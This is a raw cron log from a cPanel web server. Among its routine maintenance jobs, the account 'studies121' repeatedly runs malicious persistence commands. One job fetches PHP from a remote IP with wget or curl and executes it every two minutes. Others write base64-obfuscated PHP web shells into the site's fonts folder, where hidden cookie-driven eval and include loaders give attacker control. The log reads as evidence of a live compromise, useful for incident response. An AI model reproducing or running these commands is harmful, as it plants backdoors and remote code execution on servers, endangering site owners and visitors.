Sep 21 15:45:02 ip-184-168-122-23 CROND[3206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:45:02 ip-184-168-122-23 CROND[3209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:45:02 ip-184-168-122-23 CROND[3208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:46:01 ip-184-168-122-23 CROND[3384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:46:01 ip-184-168-122-23 CROND[3386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:46:01 ip-184-168-122-23 CROND[3388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:46:01 ip-184-168-122-23 CROND[3387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:46:01 ip-184-168-122-23 CROND[3390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:46:01 ip-184-168-122-23 CROND[3389]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 15:46:01 ip-184-168-122-23 CROND[3392]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 15:47:01 ip-184-168-122-23 CROND[3541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:47:01 ip-184-168-122-23 CROND[3544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:47:01 ip-184-168-122-23 CROND[3546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:47:01 ip-184-168-122-23 CROND[3547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:48:01 ip-184-168-122-23 CROND[3765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:48:01 ip-184-168-122-23 CROND[3764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:48:01 ip-184-168-122-23 CROND[3766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:48:01 ip-184-168-122-23 CROND[3769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:48:01 ip-184-168-122-23 CROND[3771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:49:01 ip-184-168-122-23 CROND[3881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:49:01 ip-184-168-122-23 CROND[3882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:49:01 ip-184-168-122-23 CROND[3887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:49:01 ip-184-168-122-23 CROND[3888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:50:01 ip-184-168-122-23 CROND[4092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:50:01 ip-184-168-122-23 CROND[4091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 15:50:01 ip-184-168-122-23 CROND[4093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:50:01 ip-184-168-122-23 CROND[4098]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 15:50:01 ip-184-168-122-23 CROND[4097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:50:01 ip-184-168-122-23 CROND[4099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:50:01 ip-184-168-122-23 CROND[4100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:50:01 ip-184-168-122-23 CROND[4101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:50:01 ip-184-168-122-23 CROND[4102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:51:01 ip-184-168-122-23 CROND[4208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:51:01 ip-184-168-122-23 CROND[4210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:51:01 ip-184-168-122-23 CROND[4211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:51:01 ip-184-168-122-23 CROND[4212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:52:01 ip-184-168-122-23 CROND[4326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:52:01 ip-184-168-122-23 CROND[4328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:52:01 ip-184-168-122-23 CROND[4329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:52:01 ip-184-168-122-23 CROND[4331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:52:01 ip-184-168-122-23 CROND[4330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:53:01 ip-184-168-122-23 CROND[4467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:53:01 ip-184-168-122-23 CROND[4468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:53:01 ip-184-168-122-23 CROND[4470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:53:01 ip-184-168-122-23 CROND[4471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:54:01 ip-184-168-122-23 CROND[4562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:54:01 ip-184-168-122-23 CROND[4564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:54:01 ip-184-168-122-23 CROND[4563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:54:01 ip-184-168-122-23 CROND[4565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:54:01 ip-184-168-122-23 CROND[4566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:55:01 ip-184-168-122-23 CROND[4671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:55:01 ip-184-168-122-23 CROND[4672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:55:01 ip-184-168-122-23 CROND[4675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:55:01 ip-184-168-122-23 CROND[4676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:55:01 ip-184-168-122-23 CROND[4677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:55:01 ip-184-168-122-23 CROND[4678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:56:01 ip-184-168-122-23 CROND[4819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:56:01 ip-184-168-122-23 CROND[4818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:56:01 ip-184-168-122-23 CROND[4820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:56:01 ip-184-168-122-23 CROND[4821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:56:01 ip-184-168-122-23 CROND[4817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:57:01 ip-184-168-122-23 CROND[4948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:57:01 ip-184-168-122-23 CROND[4950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:57:01 ip-184-168-122-23 CROND[4949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:57:01 ip-184-168-122-23 CROND[4951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:58:01 ip-184-168-122-23 CROND[5141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:58:01 ip-184-168-122-23 CROND[5144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
